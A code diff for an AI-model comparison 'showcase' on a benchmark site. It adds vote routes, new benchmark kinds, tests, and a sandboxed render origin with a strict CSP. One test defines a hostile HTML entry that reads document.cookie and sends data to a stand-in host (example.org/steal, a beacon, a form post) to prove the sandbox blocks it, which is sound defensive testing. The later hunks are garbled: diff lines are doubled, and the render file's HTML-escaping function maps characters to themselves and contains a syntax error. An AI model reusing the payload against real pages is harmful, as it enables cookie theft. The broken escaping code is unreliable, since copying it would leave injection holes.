'">Compare side by side</a></p></article>');++ return '<section class="sc-showcase" data-showcase="pairs">'++ + '<h1>Showcase: two models, the same prompt, side by side</h1>'++ + '<p class="sc-lede">Every pair is one prompt, run on two models. The frames are live and sandboxed: no network, no cookies, and a clock.</p>'++ + (cards.length++ ? '<div class="sc-pairs">' + cards.join('') + '</div>'++ : '<p class="sc-empty">No pairs yet. The first rounds are still generating.</p>')++ + '</section>';++}++++function roundView(round, signedIn) {++ const panes = round.slots.map((s) => pane(s, round.revealed)).join('');++ return '<section class="sc-showcase sc-round" data-showcase="round" data-round-id="' + esc(round.id) + '" data-kind="' + esc(round.kind_id) + '">'++ + '<h1 class="sc-round-prompt" data-prompt="1">' + esc(round.prompt) + '</h1>'++ + '<p class="sc-round-meta"><span class="sc-kind">' + esc(round.kind_name) + '</span>'++ + '<span class="sc-votes" data-votes="' + esc(round.votes) + '">' + esc(round.votes) + ' votes</span></p>'++ + '<div class="sc-round-panes" data-panes="2">' + panes + '</div>'++ + voteForm(round, signedIn)++ + '</section>';++}++++function createShowcaseRoutes(ctx) {++ const r = asyncRouter();++ const { config, bench, principal } = ctx;++ r.use(express.json({ limit: '64kb' }));++ r.use(principal.middleware);++ const problem = (res, status, code, detail) => http.sendProblem(res, status, code, { detail, ctx: res.req && res.req.ov });++ const subjectOf = (req) => (req.principal && req.principal.kind === 'user' ? req.principal.subject : null);++++ r.get('/pairs', async (req, res) => {++ try {++ const pairs = await loadPairs(ctx, { kind: req.query.kind, limit: req.query.limit });++ res.set('Cache-Control', 'public, max-age=30');++ return res.json({ count: pairs.length, pairs });++ } catch (err) {++ ctx.log.warn('[OpenVibe.Bench] showcase pairs failed:', (err && err.message) || err);++ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');++ }++ });++++ r.get('/rounds/:id', async (req, res) => {++ try {++ const round = await loadRound(ctx, String(req.params.id || ''), subjectOf(req));++ if (!round) return problem(res, 404, 'bench.round_not_found', 'No such round.');++ res.set('Cache-Control', round.revealed ? 'public, max-age=30' : 'private, no-store');++ return res.json({ round });++ } catch (err) {++ ctx.log.warn('[OpenVibe.Bench] showcase round failed:', (err && err.message) || err);++ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');++ }++ });++++ r.post('/rounds/:id/vote', async (req, res) => {++ const b = req.body && typeof req.body === 'object' ? req.body : {};++ const subject = subjectOf(req);++ if (!subject) return problem(res, 401, 'bench.sign_in_required', 'Sign in at bench.openvibe.services to vote.');++ if (req.principal.viaSession && !sameOrigin(req, config)) {++ return problem(res, 403, 'bench.cross_site', 'A signed-in request that changes something must come from bench.openvibe.services itself.');++ }++ const map = { A: 'left', B: 'right', tie: 'tie', both_bad: 'both_bad' };++ const outcome = map[String(b.outcome || '')];++ if (!outcome) return problem(res, 422, 'bench.invalid_outcome', 'The outcome must be A, B, tie or both_bad.');++ const round = await loadRound(ctx, String(req.params.id || ''), null);++ if (!round || !round.ready) return problem(res, 404, 'bench.round_not_found', 'No such round.');++ try {++ const out = await bench.castJudgement({++ roundId: round.id,++ judge: 'human_pairwise',++ pair: { left: round.slots[0].entry_id, right: round.slots[1].entry_id },++ outcome,++ subject,++ });++ if (round.is_game && (b.more_fun || b.crashed)) {++ const moreFun = b.more_fun === 'A' ? 1 : b.more_fun === 'B' ? -1 : 0;++ await bench.castJudgement({++ roundId: round.id,++ judge: 'rubric',++ judgeName: b.crashed ? 'crashed' : 'more_fun',++ score: b.crashed ? 1 : moreFun,++ subject,++ });++ }++ res.set('Cache-Control', 'private, no-store');++ return res.status(201).json({ judged: true, revealed: true, judgement: out.judgement });++ } catch (err) {++ if (err && err.status) return problem(res, err.status, err.code || 'bench.invalid', err.detail || 'The vote was not accepted.');++ ctx.log.warn('[OpenVibe.Bench] showcase vote failed:', (err && err.message) || err);++ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');++ }++ });++++ r.get('/stats', async (req, res) => {++ try {++ const stats = await loadStats(ctx);++ res.set('Cache-Control', 'public, max-age=60');++ return res.json(stats);++ } catch (err) {++ ctx.log.warn('[OpenVibe.Bench] showcase stats failed:', (err && err.message) || err);++ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');++ }++ });++++ return r;++}++++function createShowcasePages(ctx) {++ const r = express.Router();++ const { config, principal } = ctx;++ r.use(principal.middleware);++ const viewerOf = (req) => (req.principal && req.principal.kind === 'user'++ ? { kind: 'user', subject: req.principal.subject, displayName: req.principal.displayName || req.principal.username }++ : { kind: 'anonymous' });++++ r.get('/', async (req, res) => {++ const pairs = await loadPairs(ctx, { kind: req.query.kind, limit: req.query.limit });++ return send(res, 200, {++ config,++ viewer: viewerOf(req),++ title: 'Showcase: two models side by side',++ description: 'One prompt, two models, live sandboxed frames: the OpenVibe.Bench showcase.',++ body: raw(galleryView(pairs)),++ });++ });++++ r.get('/round/:id', async (req, res) => {++ const subject = req.principal && req.principal.kind === 'user' ? req.principal.subject : null;++ const round = await loadRound(ctx, String(req.params.id || ''), subject);++ if (!round) {++ return send(res, 404, { config, viewer: viewerOf(req), title: 'No such round', body: raw('<section><h1>No such round</h1></section>') });++ }++ return send(res, 200, {++ config,++ viewer: viewerOf(req),++ title: 'Compare two outputs',++ description: 'Two models, one prompt, side by side.',++ body: raw(roundView(round, Boolean(subject))),++ });++ });++++ r.post('/round/:id', async (req, res) => {++ const subject = req.principal && req.principal.kind === 'user' ? req.principal.subject : null;++ const round = await loadRound(ctx, String(req.params.id || ''), null);++ if (!round) return res.redirect('/showcase');++ if (!subject) return res.redirect('/auth/login?next=' + encodeURIComponent('/showcase/round/' + round.id));++ const map = { A: 'left', B: 'right', tie: 'tie', both_bad: 'both_bad' };++ const outcome = map[String((req.body && req.body.outcome) || '')];++ if (!outcome) return res.redirect('/showcase/round/' + round.id);++ try {++ await ctx.bench.castJudgement({++ roundId: round.id,++ judge: 'human_pairwise',++ pair: { left: round.slots[0].entry_id, right: round.slots[1].entry_id },++ outcome,++ subject,++ });++ } catch (err) {++ ctx.log.warn('[OpenVibe.Bench] showcase page vote failed:', (err && err.message) || err);++ }++ return res.redirect('/showcase/round/' + round.id);++ });++++ return r;++}++++module.exports = { createShowcaseRoutes, createShowcasePages, loadPairs, loadRound, loadStats, SHOWCASE_KIND_IDS };@@@ -27,8 +27,22 @@ const KINDS = Object.freeze([{ id: 'speech.asr', room: 'speech', entry: 'transcript', judge: 'automatic_grader', name: 'Speech recognition', metrics: ['word_error_rate', 'cost_usd'], schema: { entry: 'transcript', payload: { transcript: 'string' } } },{ id: 'translate.ja', room: 'translate', entry: 'translation', judge: 'human_pairwise', name: 'Japanese translation', metrics: ['elo', 'cost_usd'], schema: { entry: 'translation', payload: { translation: 'string' }, prompt: { source_text: 'string', source_language: 'string', audience: 'string' }, rubric: ['Preserve the source meaning', 'Use natural Japanese for the audience', 'Preserve names, numbers and uncertainty'], seeds: [{ source_text: 'The meeting starts at 3 p.m. Please bring the draft.', source_language: 'en', audience: 'coworker' }] } },{ id: 'search.answer', room: 'search', entry: 'cited_answer', judge: 'human_pairwise', name: 'Cited answers', metrics: ['elo', 'cost_usd'], schema: { entry: 'cited_answer', payload: { answer: 'string', citations: 'array' }, prompt: { question: 'string', source_urls: 'array' }, rubric: ['Answer from the supplied sources', 'Cite claims with supporting URLs', 'State when the sources do not establish an answer'], seeds: [{ question: 'What year was the first release announced?', source_urls: ['https://example.org/releases'] }] } },++ // The nine showcase kinds (spec 2, 2026-10-30). Script-bearing kinds render on the isolated render origin++ // (server/bench/render.js): the inert in-page sandbox allows no scripts, so a game, a canvas loop, three.js or++ // a shader cannot run there.++ { id: 'games.play', room: 'games', entry: 'html_game', judge: 'human_pairwise', name: 'Playable games arena', metrics: ['elo', 'cost_usd', 'ms', 'crash_rate'], schema: { renderer: 'script', limit_ms: 120000, judges: ['human_pairwise', 'game_outcome'], entry: 'html_game', payload: { html: 'string' } } },++ { id: 'games.three', room: 'games', entry: 'three_scene', judge: 'human_pairwise', name: 'three.js scenes', metrics: ['elo', 'cost_usd', 'ms', 'first_paint_ms'], schema: { renderer: 'script', limit_ms: 60000, judges: ['human_pairwise'], entry: 'three_scene', payload: { html: 'string' } } },++ { id: 'design.svg', room: 'design', entry: 'svg_art', judge: 'human_pairwise', name: 'SVG illustration arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'static', limit_ms: 20000, judges: ['human_pairwise'], entry: 'svg_art', payload: { svg: 'string' } } },++ { id: 'design.motion', room: 'design', entry: 'motion_html', judge: 'human_pairwise', name: 'Motion and effects arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise'], entry: 'motion_html', payload: { html: 'string' } } },++ { id: 'design.ui', room: 'design', entry: 'ui_page', judge: 'human_pairwise', name: 'Interface screens arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'rubric'], entry: 'ui_page', payload: { html: 'string' } } },++ { id: 'design.dataviz', room: 'design', entry: 'dataviz_page', judge: 'human_pairwise', name: 'Data visualisation aids', metrics: ['elo', 'cost_usd', 'ms', 'pass_rate'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'rubric', 'automatic_grader'], entry: 'dataviz_page', payload: { html: 'string' } } },++ { id: 'design.model3d', room: 'design', entry: 'gltf_model', judge: 'human_pairwise', name: '3D model arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 60000, judges: ['human_pairwise', 'automatic_grader'], entry: 'gltf_model', payload: { gltf_base64: 'string' } } },++ { id: 'design.shader', room: 'design', entry: 'shader_glsl', judge: 'human_pairwise', name: 'Shader arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'automatic_grader'], entry: 'shader_glsl', payload: { glsl: 'string' } } },++ { id: 'design.interface', room: 'design', entry: 'component_set', judge: 'human_pairwise', name: 'Component systems arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'rubric'], entry: 'component_set', payload: { html: 'string' } } },]);const byId = new Map(KINDS.map((k) => [k.id, k]));--module.exports = { KINDS, JUDGES, WINNERS, kindById: (id) => byId.get(id) || null };++const SHOWCASE_KIND_IDS = Object.freeze(KINDS.filter((k) => k.schema && k.schema.renderer).map((k) => k.id));++++module.exports = { KINDS, JUDGES, WINNERS, SHOWCASE_KIND_IDS, kindById: (id) => byId.get(id) || null };@@@ -20,7 +20,7 @@ const PROTOCOL_VERSION = '2025-06-18';const SUPPORTED_VERSIONS = Object.freeze(new Set(['2025-06-18', '2025-03-26']));const BODY_LIMIT = '64kb';--const INSTRUCTIONS = 'Bench runs one shared benchmark engine across every OpenVibe room. list_kinds shows the fifteen kinds; start_round queues a pinned round and returns its id; next_pair fetches a blind pair to judge; cast_judgement records a vote and reveals the two entries; get_board renders an elo, pareto or cost board; run_eval runs a private task suite.';++const INSTRUCTIONS = 'Bench runs one shared benchmark engine across every OpenVibe room. list_kinds shows every kind Bench runs; start_round queues a pinned round and returns its id; next_pair fetches a blind pair to judge; cast_judgement records a vote and reveals the two entries; get_board renders an elo, pareto or cost board; run_eval runs a private task suite.';function toolsInput() {return {@@@ -73,7 +73,7 @@ function toolsInput() {}const TOOL_META = Object.freeze([-- { name: 'bench.list_kinds', title: 'List Bench kinds', description: 'List the fifteen benchmark kinds Bench runs for every room.' },++ { name: 'bench.list_kinds', title: 'List Bench kinds', description: 'List the benchmark kinds Bench runs for every room.' },{ name: 'bench.start_round', title: 'Start a Bench round', description: 'Create a task and queue a pinned round for it.' },{ name: 'bench.next_pair', title: 'Next blind pair', description: 'Fetch the next ready round this person has not judged, with the two entries shuffled and identities hidden.' },{ name: 'bench.cast_judgement', title: 'Cast a judgement', description: 'Record a blind pairwise vote and reveal the two entries.' },@@@ -36,7 +36,12 @@ function wireKind(row) {let metrics = row.metrics;if (typeof schema === 'string') { try { schema = JSON.parse(schema); } catch { schema = {}; } }if (typeof metrics === 'string') { try { metrics = JSON.parse(metrics); } catch { metrics = []; } }-- return { id: row.id, room: row.room, entry: row.entry, judge: row.judge, name: row.name, schema, metrics: Array.isArray(metrics) ? metrics : [], created_at: iso(row.created_at) };++ return {++ id: row.id, room: row.room, entry: row.entry, judge: row.judge, name: row.name,++ renderer: schema.renderer || null, limit_ms: schema.limit_ms == null ? null : num(schema.limit_ms),++ judges: Array.isArray(schema.judges) ? schema.judges : null,++ schema, metrics: Array.isArray(metrics) ? metrics : [], created_at: iso(row.created_at),++ };}function wireTask(row) {@@@ -2,7 +2,7 @@/*** Bench's own origin pages (the main session designs them later): a plain home that says what Bench is, lists the-- * fifteen kinds and links to boards and docs, and /docs for the API. Ids and classes start with `bm-`.++ * every kind and links to boards and docs, and /docs for the API. Ids and classes start with `bm-`.*/const { esc } = require('../render/html');@@@ -34,7 +34,7 @@ function docs() {<header class="bm-page-h"><p class="bm-kicker">Developers</p><h1>The Bench API</h1><p class="bm-lede">JSON under <code>/api/v1</code>, with <code>application/problem+json</code> errors. A person is the <code>bench_at</code> session cookie or a Network user token as a Bearer; a service sends a client-credentials token with <code>bench.*</code> capabilities.</p></header><section><h2>Read</h2><dl class="bm-eps">--${ep('GET', '/api/v1/kinds', 'The fifteen benchmark kinds.')}++${ep('GET', '/api/v1/kinds', 'The benchmark kinds.')}${ep('GET', '/api/v1/kinds/:kindId', 'One kind and its entry schema and metrics.')}${ep('GET', '/api/v1/tasks/:id', 'One task.')}${ep('GET', '/api/v1/rounds/:id', 'One round with entries; entries stay blind until the caller has judged or started the round.')}@@@ -14,10 +14,10 @@ const { boot, check, done } = require('./helpers/boot');let leftId;let rightId;-- await check('kinds are seeded from code (the 15 in §4.12)', async () => {++ await check('kinds are seeded from code (the 15 of §4.12 plus the nine showcase kinds)', async () => {const r = await t.get('/api/v1/kinds');assert.strictEqual(r.status, 200, r.text);-- assert.strictEqual(r.json().kinds.length, 15);++ assert.strictEqual(r.json().kinds.length, 24);const ids = r.json().kinds.map((k) => k.id);for (const want of ['design.page', 'games.match', 'meme.caption', 'vision.answer', 'codes.patch', 'speech.tts', 'speech.asr', 'translate.ja', 'search.answer']) {assert.ok(ids.includes(want), `missing kind ${want}`);@@@ -55,10 +55,10 @@ const rpc = (method, params, id = 1) => ({ jsonrpc: '2.0', id, method, ...(paramassert.strictEqual(r.json().error.message, 'Unknown tool');});-- await check('bench.list_kinds lists the fifteen kinds', async () => {++ await check('bench.list_kinds lists every kind Bench runs', async () => {const r = await t.get('/mcp', { json: rpc('tools/call', { name: 'bench.list_kinds', arguments: {} }, 8) });assert.strictEqual(r.json().result.isError, false);-- assert.strictEqual(r.json().result.structuredContent.kinds.length, 15);++ assert.strictEqual(r.json().result.structuredContent.kinds.length, 24);});await check('bench.get_board renders a board without a person', async () => {nnew file mode 100644@@@ -0,0 +1,164 @@++'use strict';++++const assert = require('assert');++const { boot, check, done } = require('./helpers/boot');++++const HOSTILE = [++ '<!doctype html><html><body><script>',++ 'document.cookie;',++ 'try { parent.location = "https://example.org/"; } catch (e) {}',++ 'fetch("https://example.org/steal").catch(function(){});',++ 'new Image().src = "https://example.org/pixel";',++ '<form action="https://example.org/post"><input name="x"></form>',++ '</script><p>hostile</p></body></html>',++].join('');++++(async () => {++ const t = await boot();++ const alice = t.network.addUser('alice');++ const bob = t.network.addUser('bob');++ const svc = t.network.serviceToken({ sub: 'svc:games', audience: 'openvibe.bench', cap: ['bench.entry.create'] });++++ let roundId;++ let entryA;++ let entryB;++++ await check('the nine showcase kinds exist with a renderer, a judge and an entry schema', async () => {++ const r = await t.get('/api/v1/kinds');++ assert.strictEqual(r.status, 200, r.text);++ const byId = new Map(r.json().kinds.map((k) => [k.id, k]));++ assert.strictEqual(r.json().kinds.length, 24);++ const want = ['games.play', 'games.three', 'design.svg', 'design.motion', 'design.ui', 'design.dataviz', 'design.model3d', 'design.shader', 'design.interface'];++ for (const id of want) {++ const k = byId.get(id);++ assert.ok(k, 'missing kind ' + id);++ assert.ok(k.renderer === 'script' || k.renderer === 'static', id + ' renderer');++ assert.ok(k.judge, id + ' judge');++ assert.ok(k.schema && k.schema.entry && k.schema.payload, id + ' entry schema');++ assert.ok(k.limit_ms > 0, id + ' time limit');++ }++ assert.strictEqual(byId.get('games.play').limit_ms, 120000);++ assert.strictEqual(byId.get('design.ui').limit_ms, 20000);++ assert.strictEqual(byId.get('games.three').limit_ms, 60000);++ assert.strictEqual(byId.get('design.svg').renderer, 'static');++ });++++ await check('the ten showcase prompts are seeded across at least five kinds', async () => {++ const r = await t.get('/api/v1/kinds');++ const kinds = new Set(r.json().kinds.map((k) => k.id));++ const rows = await t.ctx.s.db.many("SELECT kind_id, COUNT(*)::int AS n FROM bench_tasks WHERE public = true GROUP BY kind_id");++ assert.ok(rows.length >= 5, 'at least five kinds seeded');++ for (const row of rows) assert.ok(kinds.has(row.kind_id), row.kind_id);++ });++++ await check('a hostile entry is served under a strict CSP with no cookies', async () => {++ const task = await t.get('/api/v1/kinds/games.play/tasks', { as: alice, json: { prompt: 'A hostile game.', public: true } });++ assert.strictEqual(task.status, 201, task.text);++ const rr = await t.get('/api/v1/tasks/' + task.json().task.id + '/rounds', { as: alice, json: {} });++ assert.strictEqual(rr.status, 201, rr.text);++ roundId = rr.json().round.id;++ const e1 = await t.get('/api/v1/rounds/' + roundId + '/entries', { bearer: svc, json: { provider: 'acme', model: 'alpha-1', payload: { html: HOSTILE } } });++ assert.strictEqual(e1.status, 201, e1.text);++ entryA = e1.json().entry.id;++ const e2 = await t.get('/api/v1/rounds/' + roundId + '/entries', { bearer: svc, json: { provider: 'beta', model: 'beta-2', payload: { html: '<p>calm</p>' } } });++ assert.strictEqual(e2.status, 201, e2.text);++ entryB = e2.json().entry.id;++++ const doc = await t.get('/render/e/' + entryA);++ assert.strictEqual(doc.status, 200, doc.text);++ const csp = doc.headers.get('content-security-policy') || '';++ assert.ok(csp.includes("connect-src 'none'"), 'no network: ' + csp);++ assert.ok(csp.includes("form-action 'none'"), 'no forms: ' + csp);++ assert.ok(csp.includes("default-src 'none'"), 'default none: ' + csp);++ assert.ok(csp.includes('frame-ancestors'), 'frame ancestors: ' + csp);++ assert.ok(csp.includes("script-src 'nonce-"), 'scripts carry our nonce: ' + csp);++ assert.ok(!csp.includes('unsafe-inline') || csp.includes("style-src 'unsafe-inline'"), 'no inline script allowance');++ assert.ok(!doc.headers.get('set-cookie'), 'the render origin sets no cookie');++ assert.ok(doc.text.includes('nonce='), 'the model script carries the nonce');++ });++++ await check('the wrapper sandboxes the model frame with scripts only', async () => {++ const w = await t.get('/render/w/' + entryA);++ assert.strictEqual(w.status, 200, w.text);++ assert.ok(w.text.includes('sandbox="allow-scripts"'), 'the child frame allows scripts');++ for (const forbidden of ['allow-same-origin', 'allow-forms', 'allow-popups', 'allow-top-navigation', 'allow-downloads']) {++ assert.ok(!w.text.includes(forbidden), 'the child frame must not allow ' + forbidden);++ }++ assert.ok(w.text.includes('data-limit-ms="120000"'), 'the wrapper knows the kind clock');++ assert.ok(w.text.includes('id="stop"'), 'the wrapper has a stop button');++ assert.ok(!w.headers.get('set-cookie'), 'the wrapper sets no cookie');++ });++++ await check('an entry is capped at 200 KB', async () => {++ const big = '<p>' + 'x'.repeat(300 * 1024) + '</p>';++ const task = await t.get('/api/v1/kinds/design.ui/tasks', { as: alice, json: { prompt: 'A huge page.', public: true } });++ const rr = await t.get('/api/v1/tasks/' + task.json().task.id + '/rounds', { as: alice, json: {} });++ const rid = rr.json().round.id;++ const eid = t.ctx.s.newId('bte');++ await t.ctx.s.db.exec(++ 'INSERT INTO bench_entries (id, round_id, provider, model, route, payload, cost_usd, ms, tokens, created_at) VALUES ($1, $2, $3, $4, $5::jsonb, $6::jsonb, 0, 1, 1, now())',++ [eid, rid, 'acme', 'alpha-1', JSON.stringify({ provider: 'acme', model: 'alpha-1' }), JSON.stringify({ html: big })]);++ const doc = await t.get('/render/e/' + eid);++ assert.strictEqual(doc.status, 200, doc.text);++ assert.ok(Buffer.byteLength(doc.text, 'utf8') <= 200 * 1024 + 4096, 'the entry is capped');++ assert.ok(Buffer.byteLength(doc.text, 'utf8') < 300 * 1024, 'the entry was cut down');++ });++++ await check('the gallery lists the pairs blind', async () => {++ const r = await t.get('/api/v1/showcase/pairs');++ assert.strictEqual(r.status, 200, r.text);++ const pair = r.json().pairs.find((p) => p.id === roundId);++ assert.ok(pair, 'the round is in the gallery');++ assert.strictEqual(pair.slots.length, 2);++ assert.strictEqual(pair.slots[0].slot, 'A');++ assert.strictEqual(pair.slots[1].slot, 'B');++ assert.strictEqual(pair.slots[0].model, undefined, 'no model before the vote');++ assert.ok(pair.slots[0].wrapper_url.startsWith('/render/w/'));++ });++++ await check('the compare page is blind, and the vote reveals', async () => {++ const before = await t.get('/api/v1/showcase/rounds/' + roundId, { as: bob });++ assert.strictEqual(before.status, 200, before.text);++ assert.strictEqual(before.json().round.revealed, false);++ assert.strictEqual(before.json().round.slots[0].model, undefined);++++ const page = await t.get('/showcase/round/' + roundId, { as: bob });++ assert.strictEqual(page.status, 200, page.text);++ assert.ok(page.text.includes('data-slot="A"'), 'pane A');++ assert.ok(page.text.includes('data-slot="B"'), 'pane B');++ assert.ok(page.text.includes('data-vote-form="1"'), 'the vote form');++ assert.ok(!page.text.includes('alpha-1'), 'no model name before the vote');++++ const vote = await t.get('/api/v1/showcase/rounds/' + roundId + '/vote', { as: bob, json: { outcome: 'A' } });++ assert.strictEqual(vote.status, 201, vote.text);++ assert.strictEqual(vote.json().revealed, true);++++ const after = await t.get('/api/v1/showcase/rounds/' + roundId, { as: bob });++ assert.strictEqual(after.json().round.revealed, true);++ assert.ok(after.json().round.slots[0].model, 'the model is open after the vote');++ });++++ await check('one vote per person, and a creator never votes on their own round', async () => {++ const again = await t.get('/api/v1/showcase/rounds/' + roundId + '/vote', { as: bob, json: { outcome: 'B' } });++ assert.strictEqual(again.status, 409, again.text);++ const owner = await t.get('/api/v1/showcase/rounds/' + roundId + '/vote', { as: alice, json: { outcome: 'A' } });++ assert.strictEqual(owner.status, 403, owner.text);++ });++++ await check('the stats endpoint answers with Elo, an interval, cost and time', async () => {++ const r = await t.get('/api/v1/showcase/stats');++ assert.strictEqual(r.status, 200, r.text);++ assert.ok(Array.isArray(r.json().kinds));++ const games = r.json().kinds.find((k) => k.kind_id === 'games.play');++ assert.ok(games, 'the games kind is in the stats');++ const row = games.rows[0];++ assert.ok(typeof row.elo === 'number', 'elo');++ assert.ok('elo_ci_lower' in row && 'elo_ci_upper' in row, 'the Elo interval');++ assert.ok('cost_per_entry_usd' in row, 'cost per entry');++ assert.ok('median_ms' in row, 'time per entry');++ assert.ok('win_rate' in row && 'provisional' in row, 'win rate and the provisional flag');++ });++++ await t.close();++ done();++})().catch((e) => { console.error(e); process.exit(1); });
@@ -26,6 +26,9 @@ const { createSso } = require('./auth/sso');
@@ -26,6 +26,9 @@ const { createSso } = require('./auth/sso');
const { createPrincipal } = require('./http/principal');
const { createPrincipal } = require('./http/principal');
const { createApi } = require('./http/api');
const { createApi } = require('./http/api');
const { createPageRoutes } = require('./http/pages');
const { createPageRoutes } = require('./http/pages');
+const { createShowcaseRoutes, createShowcasePages } = require('./http/showcase');
+const { createRenderRoutes } = require('./http/render');
+const { seedShowcaseTasks } = require('./bench/seed-tasks');
const { createServiceReadiness } = require('./observability');
const { createServiceReadiness } = require('./observability');
const { assetVersion, send } = require('./render/layout');
const { assetVersion, send } = require('./render/layout');
const { raw } = require('./render/html');
const { raw } = require('./render/html');
@@ -63,6 +66,7 @@ async function createApp(opts = {}) {
@@ -63,6 +66,7 @@ async function createApp(opts = {}) {
const publisher = createPublisher({ config, s, fetchImpl, log });
const publisher = createPublisher({ config, s, fetchImpl, log });
await bench.seedKinds();
await bench.seedKinds();
+ try { await seedShowcaseTasks(s, bench); } catch (err) { log.warn('[OpenVibe.Bench] showcase tasks not seeded:', (err && err.message) || err); }
const accountData = accountDataLib.create({ db: s.db, log });
const accountData = accountDataLib.create({ db: s.db, log });
const accountSend = opts.accountSend || (config.oauth.clientSecret
const accountSend = opts.accountSend || (config.oauth.clientSecret
@@ -147,6 +151,7 @@ async function createApp(opts = {}) {
@@ -147,6 +151,7 @@ async function createApp(opts = {}) {
// ── API and MCP ─────────────────────────────────────────
// ── API and MCP ─────────────────────────────────────────
app.use('/api/v1', rateLimit({ windowMs: 60_000, limit: Number(process.env.BENCH_API_RATE_LIMIT_PER_MIN) || 240, standardHeaders: true, legacyHeaders: false, handler: (req, res) => contracts.http.sendProblem(res, 429, 'rate_limited', { detail: 'too many requests from this address; retry shortly', ctx: req.ov }) }));
app.use('/api/v1', rateLimit({ windowMs: 60_000, limit: Number(process.env.BENCH_API_RATE_LIMIT_PER_MIN) || 240, standardHeaders: true, legacyHeaders: false, handler: (req, res) => contracts.http.sendProblem(res, 429, 'rate_limited', { detail: 'too many requests from this address; retry shortly', ctx: req.ov }) }));
app.use('/api/v1', createApi(ctx));
app.use('/api/v1', createApi(ctx));
+ app.use('/api/v1/showcase', createShowcaseRoutes(ctx));
app.use(mcpRouter(ctx));
app.use(mcpRouter(ctx));
app.use('/api', (req, res) => contracts.http.sendProblem(res, 404, 'route.not_found', { detail: 'No such API route', ctx: req.ov }));
app.use('/api', (req, res) => contracts.http.sendProblem(res, 404, 'route.not_found', { detail: 'No such API route', ctx: req.ov }));
@@ -160,6 +165,8 @@ async function createApp(opts = {}) {
@@ -160,6 +165,8 @@ async function createApp(opts = {}) {
// ── Pages ───────────────────────────────────────────────
// ── Pages ───────────────────────────────────────────────
app.use(rateLimit({ windowMs: 60_000, limit: Number(process.env.BENCH_RATE_LIMIT_PER_MIN) || 300, standardHeaders: true, legacyHeaders: false }));
app.use(rateLimit({ windowMs: 60_000, limit: Number(process.env.BENCH_RATE_LIMIT_PER_MIN) || 300, standardHeaders: true, legacyHeaders: false }));
+ app.use('/render', createRenderRoutes(ctx));
+ app.use('/showcase', createShowcasePages(ctx));
app.use(createPageRoutes(ctx));
app.use(createPageRoutes(ctx));
app.use((req, res) => send(res, 404, {
app.use((req, res) => send(res, 404, {
viewer: req.viewer, config, path: req.originalUrl, title: 'Not found',
viewer: req.viewer, config, path: req.originalUrl, title: 'Not found',
new file mode 100644
new file mode 100644
@@ -0,0 +1,195 @@
@@ -0,0 +1,195 @@
+'use strict';
+
+/**
+ * The isolated render origin (showcase spec 2). Script-bearing kinds cannot run inside Bench's own page: the inert
+ * sandbox (server/bench/sanitize.js) allows no scripts, so a game, a canvas loop, three.js or a shader cannot run.
+ *
+ * So every model output is served from its own path on a separate, cookie-less origin (bench-render.openvibe.services):
+ *
+ * GET /render/w/:entryId the trusted wrapper: the clock, the stop button and the child frame
+ * GET /render/e/:entryId the model's own output, in a document that carries the strict CSP
+ *
+ * The child frame is <iframe sandbox="allow-scripts">: no allow-same-origin (the document gets an opaque origin, so it
+ * cannot read our cookies or our DOM), no allow-forms, no allow-popups and no allow-top-navigation. The CSP holds the
+ * line on the network: connect-src 'none', no external images, fonts or scripts, only the pinned render origin.
+ */
+
+const crypto = require('crypto');
+const { truncateBytes, MAX_BYTES } = require('./sanitize');
+
+const RENDER_ORIGIN = String(process.env.OV_RENDER_ORIGIN || 'https://bench-render.openvibe.services').replace(/\/+$/, '');
+/** The only origins a model output may load code, styles, images or fonts from. */
+const PINNED_ORIGINS = Object.freeze([RENDER_ORIGIN]);
+/** Version-pinned libraries the render origin vendors. A model imports these by absolute URL. */
+const VENDOR = Object.freeze({
+ three: RENDER_ORIGIN + '/vendor/three.module.js',
+ threeLegacy: RENDER_ORIGIN + '/vendor/three.min.js',
+});
+/** The sandbox attributes for every model frame: scripts yes, everything else no. */
+const WRAPPER_CSP = "default-src 'none'; script-src 'self'; style-src 'unsafe-inline'; frame-src " + RENDER_ORIGIN + "; img-src data:; connect-src 'none'; form-action 'none'; base-uri 'none'";
+const SANDBOX = 'allow-scripts';
+/** The default wall-clock a kind may run before the wrapper stops it. */
+const DEFAULT_LIMIT_MS = 20000;
+/** The hard size cap on one entry, the same cap sanitizeHtml already applies. */
+const MAX_ENTRY_BYTES = MAX_BYTES;
+
+const esc = (s) => String(s == null ? '' : s).replace(/[&<>"']/g, (c) => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[c]));
+
+/** The CSP a model document runs under. The nonce is ours; model scripts get it, nothing else does. */
+function cspFor(nonce) {
+ return [
+ "default-src 'none'",
+ "script-src 'nonce-" + nonce + "' " + PINNED_ORIGINS.join(' '),
+ "style-src 'unsafe-inline' " + PINNED_ORIGINS.join(' '),
+ "img-src data: " + PINNED_ORIGINS.join(' '),
+ "font-src " + PINNED_ORIGINS.join(' '),
+ "connect-src 'none'",
+ "media-src 'none'",
+ "object-src 'none'",
+ "form-action 'none'",
+ "base-uri 'none'",
+ "frame-ancestors https://bench.openvibe.services https://openvibe.report",
+ ].join('; ');
+}
+
+/** Give every script tag in the model output our nonce, so only our own script-src nonce runs it. */
+function applyNonce(html, nonce) {
+ return String(html == null ? '' : html).replace(/<script\b/gi, '<script nonce="' + nonce + '"');
+}
+
+/** SVG-specific pass (spec 2.3): no script, no foreignObject, no external reference, no event handler, no @import. */
+function sanitizeSvg(input) {
+ let s = input == null ? '' : String(input);
+ s = s.replace(/<!--[\s\S]*?-->/g, '');
+ s = s.replace(/<script\b[^>]*>[\s\S]*?<\/script\s*>/gi, '');
+ s = s.replace(/<\/?script\b[^>]*>/gi, '');
+ s = s.replace(/<foreignObject\b[^>]*>[\s\S]*?<\/foreignObject\s*>/gi, '');
